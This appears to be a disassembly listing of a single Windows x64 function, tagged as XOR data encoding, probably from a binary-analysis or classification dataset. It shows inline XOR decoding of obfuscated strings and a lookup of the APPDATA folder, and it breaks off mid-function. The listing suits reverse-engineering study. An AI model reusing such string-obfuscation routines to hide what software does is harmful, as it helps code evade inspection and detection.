Function at 0x14001e244
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x9e8
movaps xmmword [rsp + 0x9d0], xmm6
mov rdx, qword [rcx + 8]
mov qword [rsp + 0x278], rcx
mov r8, qword [rcx + 0x10]
lea rcx, [rsp + 0x160]
call fcn.140047c30
lea rdx, str.APPDATA
lea r13, [rsp + 0x280]
mov r8d, 7
mov rcx, r13
call fcn.140230580
mov al, byte [r13 + 0x18]
cmp al, 3
jne 0x14001e4b1
mov rax, qword [rsp + 0x288]
test rax, rax
je 0x14001e53f
mov rcx, qword [rsp + 0x280]
mov rdx, qword [rsp + 0x290]
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rdx
lea rax, [0x14048d2ed]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0x77b5c687bc963496
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.14000b5e5
xorps xmm0, xmm0
movaps xmmword [rsp + 0x190], xmm0
mov cl, 1
xor edx, edx
lea r8, [0x140498cd8]
movzx r10d, byte [rdx + r8]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + r8]
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + r8]
mov rsi, rdx
or rsi, 3
movzx esi, byte [rsi + r8]
mov rdi, rdx
or rdi, 4
movzx edi, byte [rdi + r8]
mov rbx, rdx
or rbx, 5
movzx ebx, byte [rbx + r8]
mov r15, rdx
or r15, 7
mov r14, rdx
or r14, 6
movzx r14d, byte [r14 + r8]
movzx r15d, byte [r15 + r8]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + rdx]
mov qword [rsp + rdx + 0x190], r9
mov edx, 8
test cl, 1
mov ecx, 0
jne 0x14001e32a
mov ecx, 0x1901a708
xor ecx, dword [rax + 0x10]
lea rdx, [rsp + 0x190]
mov dword [rdx + 0x10], ecx
movzx eax, word [rax + 0x14]
xor eax, 0x8ef8
mov word [rdx + 0x14], ax
lea rcx, [rsp + 0xc0]
mov qword [rcx], rdx
mov qword [rcx + 8], 0x16
lea rbp, [rsp + 0x178]
lea rax, [rsp + 0x500]
mov qword [rax], rbp
lea rdx, [0x140009a60]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rcx
lea rcx, [0x140071250]
mov qword [rax + 0x18], rcx
lea r15, [0x140498cb8]
lea rdx, [rsp + 0x280]
mov qword [rdx + 0x10], r15
mov ecx, 2
mov qword [rdx + 0x18], rcx
mov qword [rdx], 0
mov qword [rdx + 0x20], rax
mov qword [rdx + 0x28], rcx
lea rsi, [rsp + 0x770]
mov rcx, rsi
call fcn.1400476f0
mov rbx, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rsi, [rsp + 0x280]
mov rcx, rsi
mov qword [rsp + 0x30], rdx
call fcn.1402352a0
cmp dword [rsi], 2
jne 0x14001e4ce
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x508], rax
mov qword [rsp + 0x500], 2
jmp 0x14001e4f7
cmp al, 2
je 0x14001e53f
cmp qword [rsp + 0x280], 0
je 0x14001e53f
mov r8, qword [rsp + 0x288]
jmp 0x14001e530
lea r12, [rsp + 0x500]
lea r14, [rsp + 0x280]
mov ecx, 9
mov rdi, r12
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
cmp qword [r12], 2
jne 0x14001f1c0
lea rcx, [rsp + 0x508]
call fcn.1401b10eb
test rbx, rbx
je 0x14001e51d
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x178], 0
je 0x14001e53f
mov r8, qword [rsp + 0x180]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x160], 0
je 0x14001e561
mov r8, qword [rsp + 0x168]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [0x140003b8f]
call fcn.140073378
xorps xmm6, xmm6
movaps xmmword [rsp + 0xc0], xmm6
mov qword [rsp + 0xd0], 0
lea rcx, [0x1404a3c30]
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rdx
lea rax, [0x140390ec0]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0xf7efc9bc33f5932
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.14000a3dc
movzx edi, byte [rax + 2]
movzx ebx, word [rax]
xor ebx, 0xc86a
xor dil, 0x39
xor esi, esi
mov ecx, 3
xor edx, edx
call fcn.140272bf2
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x508], rdx
mov byte [rdx + 2], dil
mov word [rdx], bx
mov qword [rsp + 0x510], 3
lea rax, [0x1403946e2]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0xf6cecb18920f3294
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.14000a434
movaps xmmword [rsp + 0x190], xmm6
mov cl, 1
lea rdx, [0x14039ca90]
movzx r9d, byte [rsi + rdx]
mov r8, rsi
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rsi
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rsi
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rdi, rsi
or rdi, 4
movzx edi, byte [rdi + rdx]
mov rbx, rsi
or rbx, 5
movzx ebx, byte [rbx + rdx]
mov r14, rsi
or r14, 6
mov r15, rsi
or r15, 7
movzx r14d, byte [r14 + rdx]
movzx r15d, byte [r15 + rdx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, rbx
or r8, r14
xor r8, qword [rax + rsi]
mov qword [rsp + rsi + 0x190], r8
mov esi, 8
test cl, 1
mov ecx, 0
jne 0x14001e662
movzx ecx, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
xor eax, 0x1b40
mov word [rsp + 0x1a0], ax
xor cl, 0x9a
mov byte [rsp + 0x1a2], cl
mov ecx, 0x13
xor edx, edx
call fcn.140272bf2
lea r13, [rsp + 0x280]
mov qword [r13], rax
mov qword [r13 + 8], rdx
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rdx], xmm0
mov eax, dword [rsp + 0x19f]
mov dword [rdx + 0xf], eax
mov qword [r13 + 0x10], 0x13
lea rsi, [rsp + 0x770]
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0x500]
mov rcx, rsi
mov r9, r13
call fcn.14000f347
mov r8, qword [rsi + 8]
test r8, r8
je 0x14001e7a7
cmp qword [rsp + 0x770], 0
je 0x14001e7a7
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14039c3cd]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0xd895db1fec7ffb2c
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.14000ca83
mov ecx, dword [rax]
mov bl, byte [rax + 4]
xor bl, 0x22
mov esi, 0xa8a90742
xor rsi, rcx
mov ecx, 5
xor edx, edx
call fcn.140272bf2
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x778], rdx
mov byte [rdx + 4], bl
mov dword [rdx], esi
mov qword [rsp + 0x780], 5
lea rax, [0x1403950f4]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0x52fe1308fc1f132a
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.14000c296
xorps xmm0, xmm0
movaps xmmword [rsp + 0x280], xmm0
movaps xmmword [rsp + 0x290], xmm0
movaps xmmword [rsp + 0x2a0], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14039caa3]
mov r8, qword [rcx + rdx + 8]
xor r8, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x288], r8
add rcx, 8
cmp rcx, 0x28
jb 0x14001e879
mov ecx, 0xd3d8010b
xor ecx, dword [rax + 0x30]
mov dword [rsp + 0x2b0], ecx
mov ecx, 0x34
xor edx, edx
call fcn.140272bf2
lea r9, [rsp + 0x500]
mov qword [r9], rax
mov qword [r9 + 8], rdx
movaps xmm0, xmmword [rsp + 0x280]
movaps xmm1, xmmword [rsp + 0x290]
movaps xmm2, xmmword [rsp + 0x2a0]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm2
mov eax, dword [rsp + 0x2b0]
mov dword [rdx + 0x30], eax
mov qword [r9 + 0x10], 0x34
lea rsi, [rsp + 0x190]
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0x770]
mov rcx, rsi
call fcn.14000f347
mov r8, qword [rsi + 8]
test r8, r8
je 0x14001e937
cmp qword [rsp + 0x190], 0
je 0x14001e937
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14038db99]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0x6a2d33192eb12f5
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.14000d5cc
mov edi, dword [rax]
movzx ecx, byte [rax + 6]
movzx esi, word [rax + 4]
xor esi, 0x3ff3
xor cl, 0xc8
movzx ebx, cl
mov rax, rbx
shl rax, 0x30
shl rsi, 0x20
or rsi, rax
xor edi, 0xeb445def
mov ecx, 7
xor edx, edx
call fcn.140272bf2
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x778], rdx
mov byte [rdx + 6], bl
mov dword [rdx], edi
shr rsi, 0x20
mov word [rdx + 4], si
mov qword [rsp + 0x780], 7
lea rax, [0x14038e67f]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0xb9ee0e73eb3ab005
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.14000afd5
xorps xmm0, xmm0
movaps xmmword [rsp + 0x280], xmm0
movaps xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], 0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14039cad7]
mov r8, qword [rcx + rdx + 8]
xor r8, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x288], r8
add rcx, 8
cmp rcx, 0x20
jb 0x14001ea2f
mov ecx, 0x28
xor edx, edx
call fcn.140272bf2
lea rbp, [rsp + 0x500]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movaps xmm0, xmmword [rsp + 0x280]
movaps xmm1, xmmword [rsp + 0x290]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rsp + 0x2a0]
mov qword [rdx + 0x20], rax
mov qword [rbp + 0x10], 0x28
lea rsi, [rsp + 0x190]
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0x770]
mov rcx, rsi
mov r9, rbp
call fcn.14000f347
mov r8, qword [rsi + 8]
test r8, r8
je 0x14001ead8
cmp qword [rsp + 0x190], 0
je 0x14001ead8
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r10, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xd0]
mov r9, qword [rsp + 0xd8]
lea rcx, [r10 + 1]
movdqa xmm0, xmmword [r9]
test r10, r10
je 0x14001eb18
mov edx, 0x30
mov rax, rcx
mul rdx
jo 0x14001eb14
add r10, 0x11
add r10, rax
jae 0x14001eb1c
xor edx, edx
jmp 0x14001eb21
xor edx, edx
jmp 0x14001eb27
mov edx, 0x10
mov r11, r9
sub r11, rax
lea rax, [r9 + 0x10]
pmovmskb esi, xmm0
not esi
add rcx, r9
lea rdi, [rsp + 0x190]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], r9
mov word [rdi + 0x18], si
mov qword [rdi + 0x20], r8
mov qword [rdi + 0x28], r11
mov qword [rdi + 0x30], r10
mov qword [rdi + 0x38], rdx
xorps xmm6, xmm6
lea rcx, [rsp + 0x190]
call fcn.1401f7ae4
test rax, rax
je 0x14001f176
mov rcx, qword [rax - 0x28]
test rcx, rcx
je 0x14001f176
mov rdx, qword [rax - 0x18]
mov qword [rsp + 0x30], rdx
mov rbx, qword [rax - 0x10]
mov rsi, qword [rax - 8]
mov rdx, qword [rax - 0x30]
mov rax, qword [rax - 0x20]
mov qword [rsp + 0xf0], rdx
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], rax
lea rax, [0x1403970b1]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0x95048472448fa64c
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.14000d5fc
mov rcx, qword [rax]
movabs rdx, 0x81a7d1556bc2b104
xor rcx, rdx
mov qword [rsp + 0x770], rcx
mov al, byte [rax + 8]
xor al, 0xf3
mov byte [rsp + 0x778], al
mov r8d, 7
mov rcx, rbp
lea rdx, str.APPDATA
call fcn.140230580
cmp byte [rsp + 0x518], 3
jne 0x140020a52
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0x38], rax
mov rdi, qword [rsp + 0x508]
mov r12, qword [rsp + 0x510]
add r12, rdi
xor eax, eax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x20], 9
mov rcx, r13
mov qword [rsp + 0x40], rbx
mov rdx, rbx
mov r8, rsi
lea r9, [rsp + 0x770]
call fcn.140056a20
xor ebx, ebx
mov rcx, rbp
mov rdx, r13
call fcn.14000e46d
cmp qword [rsp + 0x500], 0
je 0x14001ecea
mov r15, qword [rsp + 0x510]
mov rdx, qword [rsp + 0x508]
mov rax, qword [rsp + 0x40]
add rdx, rax
add rbx, rax
lea r14, [rsp + 0x80]
mov rcx, r14
mov r8, rbx
call fcn.14026674c
mov rcx, r14
mov rdx, r12
mov r8, rdi
call fcn.14026674c
mov rbx, r15
jmp 0x14001ec93
mov rax, qword [rsp + 0x40]
add rbx, rax
add rsi, rax
lea rcx, [rsp + 0x80]
mov rdx, rsi
mov r8, rbx
call fcn.14026674c
cmp qword [rsp + 0x38], 0
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14001ed26
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rdi
call r12
lea rax, [rsp + 0x80]
mov qword [rsp + 0x500], rax
lea rax, [0x140009a60]
mov qword [rsp + 0x508], rax
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x510], rcx
mov qword [rsp + 0x518], rax
lea rax, [0x140498cb8]
mov qword [rsp + 0x290], rax
mov eax, 2
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x2a0], rbp
mov qword [rsp + 0x2a8], rax
lea r14, [rsp + 0x770]
mov rcx, r14
mov rdx, r13
call fcn.1400476f0
mov rsi, qword [rsp + 0x778]
mov r8, qword [rsp + 0x780]
mov rdi, qword [rsp + 0x770]
lea rcx, [rsp + 0xa0]
mov rdx, rsi
call fcn.140248d80
test rdi, rdi
je 0x14001ede4
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rsi
call r12
mov rdi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xb0]
mov rcx, rbx
xor edx, edx
call fcn.14024c47c
mov r15, rax
mov rsi, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rbx
call fcn.14038a820
mov rcx, rsi
mov rdx, rbx
call fcn.140234320
mov rdi, rax
test r15, r15
je 0x14001ee34
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rsi
call r12
mov qword [rsp + 0x280], rdi
test rdi, rdi
je 0x14001ee49
mov rcx, r13
call fcn.1401b10eb
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x60], xmm0
mov rcx, r13
lea rdx, [rsp + 0x60]
call fcn.1401ec889
mov rax, qword [rsp + 0x2b8]
cmp rax, 2
mov ecx, 1
cmovb rax, rcx
mov qword [rsp + 0x2c0], rax
mov ecx, 0xa
mov rdi, rbp
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
lea rax, [rsp + 0x538]
movups xmm0, xmmword [rax - 0x18]
movups xmm1, xmmword [rax - 8]
movups xmm2, xmmword [rax + 8]
lea rax, [rsp + 0x790]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movups xmm0, xmmword [rsp + 0x500]
movups xmm1, xmmword [rsp + 0x510]
movaps xmmword [rsp + 0x780], xmm1
movaps xmmword [rsp + 0x770], xmm0
lea rdx, [rsp + 0x2d8]
movups xmmword [rdx + 0x28], xmm6
movups xmmword [rsp + 0x68], xmm6
movups xmmword [rdx + 0x40], xmm6
mov ecx, 0xa
mov rdi, r13
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rsp + 0x70]
mov qword [rdx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x60]
movdqu xmmword [rdx], xmm0
xor eax, eax
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x2f0], rax
mov ecx, 8
mov qword [rsp + 0x2f8], rcx
mov qword [rsp + 0x310], rcx
mov qword [rsp + 0x328], rcx
mov qword [rsp + 0x330], rax
mov rcx, r14
mov rdx, r13
call fcn.1402616ee
cmp dword [rsp + 0x7a0], 3
je 0x14001f10b
mov ecx, 0x10
mov rdi, rbp
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
cmp dword [rsp + 0x530], 2
jne 0x14001ef8f
lea rcx, [rsp + 0x538]
call fcn.140004d60
jmp 0x14001ef4f
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x38], rax
mov rsi, qword [rsp + 0x778]
mov rdi, qword [rsp + 0x780]
mov r12, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xb0]
mov rcx, rsi
mov rdx, rdi
call fcn.140237fa0
mov r8, rdx
test rax, rax
cmove rax, rsi
cmove r8, rdi
mov rcx, rbp
mov rdx, rax
call fcn.140243f70
cmp qword [rsp + 0x500], 0
mov r14, qword [rsp + 0x510]
mov rbp, qword [rsp + 0x508]
cmovne rbp, r14
cmovne r14, qword [rsp + 0x518]
mov rcx, r14
xor edx, edx
call fcn.140272bf2
mov r13, rax
mov r15, rdx
mov rcx, rdx
mov rdx, rbp
mov r8, r14
call fcn.14038a820
mov qword [rsp + 0x20], r14
lea r14, [rsp + 0x770]
mov rcx, r14
mov rdx, r12
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rbx
mov r9, r15
call fcn.1402383a0
test r13, r13
je 0x14001f05d
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, r15
call r12
mov rbx, qword [rsp + 0x778]
mov rax, qword [rsp + 0x780]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8, rdi
mov r9, rbx
call fcn.140248a90
cmp qword [rsp + 0x770], 0
je 0x14001f09f
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rbx
call r12
cmp qword [rsp + 0x60], 0
lea r13, [rsp + 0x280]
lea rbp, [rsp + 0x500]
je 0x14001f0c1
lea rcx, [rsp + 0x68]
call fcn.1401b10eb
cmp qword [rsp + 0x500], 0
je 0x14001f0eb
cmp qword [rsp + 0x508], 0
je 0x14001f0eb
mov r8, qword [rsp + 0x510]
mov rcx, qword [0x1404fd180]
xor edx, edx
call r12
cmp qword [rsp + 0x38], 0
je 0x14001ef4f
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rsi
call r12
jmp 0x14001ef4f
mov rcx, r13
call fcn.1400046cf
cmp qword [rsp + 0xa0], 0
je 0x14001f132
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x1404fd180]
xor edx, edx
call r12
cmp qword [rsp + 0xf0], 0
mov rsi, qword [rsp + 0x40]
je 0x14001f156
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1404fd180]
xor edx, edx
call r12
cmp qword [rsp + 0x30], 0
je 0x14001eb5e
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rsi
call r12
jmp 0x14001eb5e
lea rcx, [rsp + 0x190]
call fcn.140204529
mov rax, qword [rsp + 0x278]
cmp qword [rax], 0
je 0x14001f1a4
mov r8, qword [rax + 8]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x9d0]
add rsp, 0x9e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rbx, rbx
je 0x14001f1d9
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14048e50b]
lea rdi, [rsp + 0x280]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0x776de445ee705936
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.14000b552
movabs rcx, 0x7f4799a057464221
xor rcx, qword [rax]
mov qword [rsp + 0xc0], rcx
mov al, byte [rax + 8]
xor al, 0xb9
mov byte [rsp + 0xc8], al
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 9
lea rax, [rsp + 0x160]
mov qword [rsp + 0x500], rax
lea rax, [0x140009a60]
mov qword [rsp + 0x508], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x510], rax
lea rax, [0x140071250]
mov qword [rsp + 0x518], rax
mov qword [rdi + 0x10], r15
mov eax, 2
mov qword [rdi + 0x18], rax
mov qword [rdi], 0
mov qword [rdi + 0x20], r12
mov qword [rdi + 0x28], rax
lea rsi, [rsp + 0x770]
mov rcx, rsi
mov rdx, rdi
call fcn.1400476f0
mov rcx, rsi
call fcn.1401f7bf4
mov qword [rdi], rax
test rax, rax
je 0x14001f2ca
lea rcx, [rsp + 0x280]
call fcn.1401b10eb
lea rax, [0x14049155d]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0x4a2bed758892c2d9
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.140009bad
xorps xmm0, xmm0
movaps xmmword [rsp + 0x190], xmm0
mov cl, 1
xor edx, edx
lea r8, [0x140498cee]
movzx r10d, byte [rdx + r8]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + r8]
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + r8]
mov rsi, rdx
or rsi, 3
movzx esi, byte [rsi + r8]
mov rdi, rdx
or rdi, 4
movzx edi, byte [rdi + r8]
mov r14, rdx
or r14, 5
movzx r14d, byte [r14 + r8]
mov r13, rdx
or r13, 7
mov r15, rdx
or r15, 6
movzx r15d, byte [r15 + r8]
movzx r13d, byte [r13 + r8]
shl r13, 0x38
shl r15, 0x30
or r15, r13
shl r14, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, r14
or r9, r15
xor r9, qword [rax + rdx]
mov qword [rsp + rdx + 0x190], r9
mov edx, 8
xor r15d, r15d
test cl, 1
mov ecx, 0
jne 0x14001f316
mov ecx, 0x6a3abcec
xor ecx, dword [rax + 0x10]
lea r14, [rsp + 0x190]
mov dword [r14 + 0x10], ecx
movzx ecx, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
xor eax, 0x65df
mov word [r14 + 0x14], ax
xor cl, 0x43
mov byte [r14 + 0x16], cl
lea rax, [rsp + 0x190]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 0x17
lea r13, [rsp + 0x500]
mov qword [r13], rbp
lea rax, [0x140009a60]
mov qword [r13 + 8], rax
lea rax, [rsp + 0xc0]
mov qword [r13 + 0x10], rax
lea rax, [0x140071250]
mov qword [r13 + 0x18], rax
lea rbp, [rsp + 0x280]
lea rax, [0x140498cb8]
mov qword [rbp + 0x10], rax
mov eax, 2
mov qword [rbp + 0x18], rax
mov qword [rbp], r15
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], rax
lea rbx, [rsp + 0x770]
mov rcx, rbx
lea rdx, [rsp + 0x280]
call fcn.1400476f0
mov rax, qword [rbx]
mov qword [rsp + 0x38], rax
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
mov rcx, rbp
mov qword [rsp + 0x120], rdx
call fcn.140248d80
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], 0xa
mov qword [rbp + 0x38], r15
mov dword [rbp + 0x48], 0x100
mov qword [rbp + 0x40], 3
mov ecx, 0xa
mov rdi, r13
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movaps xmmword [rbp + 0x20], xmm2
movaps xmmword [rbp + 0x30], xmm3
movups xmm2, xmmword [r13 + 0x40]
movaps xmmword [rbp + 0x40], xmm2
movaps xmmword [rbp], xmm0
movaps xmmword [rbp + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [r14 + 0x80], xmm0
movups xmmword [rbx + 8], xmm0
movups xmmword [r14 + 0x98], xmm0
lea rbp, [rsp + 0x280]
mov ecx, 0xa
mov rdi, r14
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbx + 0x10]
mov qword [r14 + 0x68], rax
movups xmm0, xmmword [rbx]
movups xmmword [r14 + 0x58], xmm0
mov qword [r14 + 0x50], r15
mov qword [r14 + 0x70], r15
mov eax, 8
mov qword [r14 + 0x78], rax
mov qword [r14 + 0x90], rax
mov qword [r14 + 0xa8], rax
mov qword [r14 + 0xb0], r15
lea rcx, [rax + r13]
mov qword [rsp + 0x270], rcx
add rax, rbx
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x280]
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rbx
lea rdx, [rsp + 0x190]
call fcn.1402616ee
mov rax, qword [rsp + 0x2b0]
cmp rax, 2
jne 0x14001f5b5
mov ecx, 9
mov rdi, r12
lea rsi, [rsp + 0x2b8]
rep movsq qword [rdi], qword [rsi]
mov rcx, r12
call fcn.140004d60
jmp 0x14001f57a
cmp eax, 3
je 0x1400200f0
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x30], rax
mov rdi, qword [rsp + 0x288]
mov rsi, qword [rsp + 0x290]
mov rcx, rdi
mov rdx, rsi
call fcn.140237fa0
test rax, rax
cmove rax, rdi
cmove rdx, rsi
mov rcx, rax
call fcn.140248cf0
test rax, rax
je 0x140020b13
cmp rdx, 0x10
jne 0x140020025
lea rax, [0x140491635]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0x4e5299710bc80780
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.14000c73c
mov rcx, qword [rax]
movabs rdx, 0xd12010f91dfeeb9f
xor rcx, rdx
mov qword [rsp + 0x60], rcx
mov ecx, dword [rax + 8]
mov edx, 0xb4d475a6
xor ecx, edx
mov dword [rsp + 0x68], ecx
movzx eax, word [rax + 0xc]
xor eax, 0xba56
mov word [rsp + 0x6c], ax
lea rax, [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 0xe
mov rcx, rdi
mov rdx, rsi
call fcn.140237fa0
test rax, rax
cmove rax, rdi
cmove rdx, rsi
mov rcx, rax
call fcn.140248cf0
test rax, rax
je 0x140020b23
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
lea rax, [rsp + 0x160]
mov qword [rsp + 0x280], rax
lea rax, [0x140009a60]
mov qword [rsp + 0x288], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x290], rax
lea rcx, [0x140071250]
mov qword [rsp + 0x298], rcx
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x2a8], rcx
lea rax, [0x140498d38]
mov qword [rsp + 0x510], rax
mov eax, 3
mov qword [rsp + 0x518], rax
mov qword [rsp + 0x500], r15
mov qword [rsp + 0x520], rbx
mov qword [rsp + 0x528], rax
lea rcx, [rsp + 0x770]
mov rdx, r12
call fcn.1400476f0
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x268], rax
mov rbx, qword [rsp + 0x778]
mov r14, qword [rsp + 0x780]
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], 8
mov qword [rsp + 0x58], r15
lea rcx, [rsp + 0x280]
mov rdx, rdi
mov r8, rsi
call fcn.140248d80
lea rcx, [rsp + 0x48]
xor edx, edx
call fcn.14012d798
mov rax, qword [rsp + 0x50]
mov rbp, rdi
mov rdi, qword [rsp + 0x58]
mov rcx, rdi
shl rcx, 5
movups xmm0, xmmword [rsp + 0x280]
movups xmm1, xmmword [rsp + 0x290]
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
inc rdi
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0x140]
